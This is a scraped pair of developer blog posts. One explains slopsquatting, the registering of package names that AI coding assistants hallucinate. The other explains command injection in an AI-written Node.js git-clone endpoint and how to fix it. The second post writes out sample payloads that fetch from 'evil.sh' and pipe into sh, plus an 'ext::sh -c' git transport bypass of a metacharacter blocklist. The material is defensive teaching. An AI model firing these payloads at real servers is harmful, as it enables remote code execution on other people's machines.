&lt;p&gt;Nothing here trips a linter, a type checker, or a code review. &lt;code&gt;npm install&lt;/code&gt; runs the package's install scripts before you have read a line of it. By the time you notice the dependency in your &lt;code&gt;package.json&lt;/code&gt;, it has already executed on your machine.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why This Keeps Happening
&lt;/h2&gt;

&lt;p&gt;Models produce package names the same way they produce everything else: by predicting plausible tokens, not by checking a registry. A name like &lt;code&gt;react-codeshift&lt;/code&gt; is exactly what a real package would be called, which is precisely why the model generates it and precisely why nobody reviewing the diff blinks.&lt;/p&gt;

&lt;p&gt;The second half is the part people miss. Hallucinations are consistent. The same prompt pulls the same invented name out of the same model over and over, so an attacker does not have to guess. They query the assistant a few dozen times, collect the names it keeps making up, and register them. The model does the targeting for free.&lt;/p&gt;

&lt;p&gt;And the agent loop closes the gap. A developer used to have to copy a name, search for it, and decide. An agent with terminal access reads the suggestion and runs it. There is no moment where a human looks at the string.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Fix
&lt;/h2&gt;

&lt;p&gt;Check that the package has a history before you install it. Five seconds of registry metadata beats any scan you run afterwards.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Before installing anything an AI suggested&lt;/span&gt;
npm view react-codeshift time.created

&lt;span class="c"&gt;# Errors out? The package does not exist. That is the good outcome.&lt;/span&gt;
&lt;span class="c"&gt;# Created last month, 40 weekly downloads? That is the attack.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Turn off install scripts so a mistake is recoverable instead of instant:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm config &lt;span class="nb"&gt;set &lt;/span&gt;ignore-scripts &lt;span class="nb"&gt;true
&lt;/span&gt;npm ci &lt;span class="nt"&gt;--ignore-scripts&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Python has a stronger version of this, because pip can refuse anything whose hash you have not already vouched for:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="c"&gt;# requirements.txt
&lt;/span&gt;&lt;span class="py"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;=2.32.3 &lt;/span&gt;&lt;span class="se"&gt;\
&lt;/span&gt;    &lt;span class="s"&gt;--hash=sha256:70761cfe03c773ceb22aa2f671b4757976145175cdfca038c02654d061d6dcc6&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;--require-hashes&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; requirements.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A hallucinated package cannot get into a hash-pinned file, because you would have had to record its hash yourself.&lt;/p&gt;

&lt;p&gt;One thing that does not help as much as people assume: the lockfile. A lockfile faithfully records whatever you installed the first time, including the malicious thing. It stops drift, it does not stop the initial install.&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Q: Does a lockfile protect me from slopsquatting?&lt;/strong&gt;&lt;br&gt;
A: Only after the fact. It pins what you already installed, so it prevents the version changing later, but the first install of a hallucinated name is what compromises you and the lockfile records it faithfully.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: Why does my dependency scanner report the package as clean?&lt;/strong&gt;&lt;br&gt;
A: Because CVE databases are backward looking. A package registered three weeks ago to catch a hallucination has no CVE, no advisory, and no reported malware, so a scan that matches against known vulnerabilities returns nothing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: How do I tell a hallucinated package from a real one?&lt;/strong&gt;&lt;br&gt;
A: Check its creation date and download history before installing. A genuine dependency your AI recommends will have years of releases and real download volume. A slopsquat will have weeks.&lt;/p&gt;

&lt;p&gt;I want to be straight about the tooling here, including my own. I run &lt;a href="https://tinyurl.com/25fpzl3k" rel="noopener noreferrer"&gt;SafeWeave&lt;/a&gt; as an MCP server inside Cursor and Claude Code, and its dependency scanner is a CVE matcher like everyone else's. It will not flag a package that was registered last week specifically because nothing is known about it yet. What it does catch is everything else the agent leaves behind in the same session - the hardcoded key, the unparameterized query, the missing auth check. For slopsquatting specifically, the registry-age check above is the control that works. Run it before the install, not after.&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>ai</category>
      <category>devsecops</category>
    </item>
    <item>
      <title>The Command Injection Fix Cursor Writes Still Runs Code (CWE-78)</title>
      <dc:creator>Charles Kern</dc:creator>
      <pubDate>Sun, 16 Aug 2026 08:07:18 +0000</pubDate>
      <link>https://dev.to/c_k_fb750e731394/the-command-injection-fix-cursor-writes-still-runs-code-cwe-78-3j2m</link>
      <guid>https://dev.to/c_k_fb750e731394/the-command-injection-fix-cursor-writes-still-runs-code-cwe-78-3j2m</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Cursor writes &lt;code&gt;exec()&lt;/code&gt; with your input pasted into the command string, which is textbook command injection (CWE-78).&lt;/li&gt;
&lt;li&gt;Ask it to fix that and it adds a regex blocklist for shell metacharacters. &lt;code&gt;git clone ext::sh -c whoami&lt;/code&gt; contains none of them and still runs code on your box.&lt;/li&gt;
&lt;li&gt;The real fix is &lt;code&gt;execFile&lt;/code&gt; with an argv array, plus a protocol and host allowlist, plus &lt;code&gt;--&lt;/code&gt; to stop option parsing.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I was building a "import your repo" endpoint last week. Paste a GitHub URL, we clone it, we scan it. Twenty seconds of prompting in Cursor and I had a working route.&lt;/p&gt;

&lt;p&gt;It also had a remote shell in it.&lt;/p&gt;

&lt;p&gt;That part I expected. What I did not expect was that the fix Cursor wrote when I pointed at the bug was still exploitable, and exploitable without using a single one of the characters the fix was checking for.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Vulnerable Code
&lt;/h2&gt;

&lt;p&gt;Command injection happens when user input becomes part of a string that gets handed to a shell. Node's &lt;code&gt;exec()&lt;/code&gt; does exactly that: it spawns &lt;code&gt;/bin/sh -c&lt;/code&gt; and passes your whole string to it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// ❌ CWE-78: repoUrl reaches /bin/sh&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;exec&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;node:child_process&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/api/import&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;repoUrl&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nf"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`git clone &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;repoUrl&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; /tmp/import`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;clone failed&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;stdout&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Post &lt;code&gt;https://github.com/a/b.git; curl evil.sh | sh&lt;/code&gt; and the shell sees two commands. The clone runs, then so does theirs. Nothing clever required.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Fix Cursor Writes
&lt;/h2&gt;

&lt;p&gt;Point at that line and ask for a fix, and you get input sanitization. A regex, a list of dangerous characters, a 400 response.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// ❌ still vulnerable&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;BLOCKED&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="se"&gt;[&lt;/span&gt;&lt;span class="sr"&gt;;&amp;amp;|`$(){}&amp;lt;&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n]&lt;/span&gt;&lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/api/import&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;repoUrl&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;BLOCKED&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;repoUrl&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;400&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;invalid repo url&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="nf"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`git clone &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;repoUrl&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; /tmp/import`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="cm"&gt;/* ... */&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This looks like security. It reads like security. It blocks the payload I just showed you.&lt;/p&gt;

&lt;p&gt;Now send this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ext::sh &lt;span class="nt"&gt;-c&lt;/span&gt; curl% http://evil.sh|sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or without the pipe, since the pipe is blocked:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ext::sh &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"touch /tmp/pwned"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No semicolon. No pipe. No backtick, no &lt;code&gt;$&lt;/code&gt;, no parens. It passes the blocklist clean, and git runs &lt;code&gt;sh -c "touch /tmp/pwned"&lt;/code&gt; on your machine.&lt;/p&gt;

&lt;p&gt;The reason is that &lt;code&gt;ext::&lt;/code&gt; is a git transport. It is documented behaviour: git hands the rest of the string to a shell and treats that process's stdio as the remote. Git's &lt;code&gt;protocol.ext.allow&lt;/code&gt; setting defaults to &lt;code&gt;user&lt;/code&gt;, which permits it for commands the user runs directly. Your clone call is a direct invocation. The transport is allowed.&lt;/p&gt;

&lt;p&gt;The blocklist was never the boundary. The boundary was "does attacker input control an argument to a program that interprets arguments," and it still does.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why This Keeps Happening
&lt;/h2&gt;

&lt;p&gt;AI editors optimize for the shape of a fix, not the boundary the fix has to hold. A blocklist has the visual signature of secure code: a constant, a validation branch, an early return. It pattern-matches to thousands of examples in the training data where that shape was the accepted answer.&lt;/p&gt;

&lt;p&gt;There is a deeper reason too. Blocklist sanitization is what most Stack Overflow answers about command injection actually say, because those answers are old and because "escape the input" feels like a general solution. It is not a general solution. It is a bet that you enumerated every dangerous character, for every program you might ever invoke, forever. You will lose that bet to a tool that takes flags.&lt;/p&gt;

&lt;p&gt;The same class bites &lt;code&gt;tar&lt;/code&gt; via &lt;code&gt;--checkpoint-action=exec=&lt;/code&gt;, &lt;code&gt;curl&lt;/code&gt; via &lt;code&gt;-o&lt;/code&gt; writing to arbitrary paths, and &lt;code&gt;find&lt;/code&gt; via &lt;code&gt;-exec&lt;/code&gt;. None of those need shell syntax. They just need to be an argument.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Fix
&lt;/h2&gt;

&lt;p&gt;Do not build a shell command string at all. Use &lt;code&gt;execFile&lt;/code&gt; with an argv array so there is no shell to inject into, then validate the input as a URL rather than as text, then use &lt;code&gt;--&lt;/code&gt; so a value starting with a hyphen cannot become a flag.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// ✅&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;execFile&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;node:child_process&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ALLOWED_HOSTS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Set&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;github.com&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;gitlab.com&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;parseRepoUrl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;protocol&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https:&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;ALLOWED_HOSTS&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;has&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;username&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/api/import&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;repoUrl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;parseRepoUrl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;repoUrl&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;repoUrl&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;400&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;invalid repo url&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="nf"&gt;execFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;git&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;clone&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;--depth&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;1&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;--&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;repoUrl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/tmp/import&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;timeout&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="nx"&gt;_000&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;clone failed&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
      &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three separate things are doing work there, and you want all three:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;execFile&lt;/code&gt; with an array means no &lt;code&gt;/bin/sh&lt;/code&gt;. Semicolons and pipes are just characters in a string now.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;new URL()&lt;/code&gt; plus a protocol check kills &lt;code&gt;ext::&lt;/code&gt;, &lt;code&gt;file://&lt;/code&gt;, &lt;code&gt;ssh://&lt;/code&gt; and every other transport in one move. This is the line that actually stops the attack above.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;--&lt;/code&gt; stops git parsing anything after it as an option, so a value like &lt;code&gt;--upload-pack=...&lt;/code&gt; lands as a repo name instead of a flag.&lt;/li&gt;
&lt;/ul&gt;

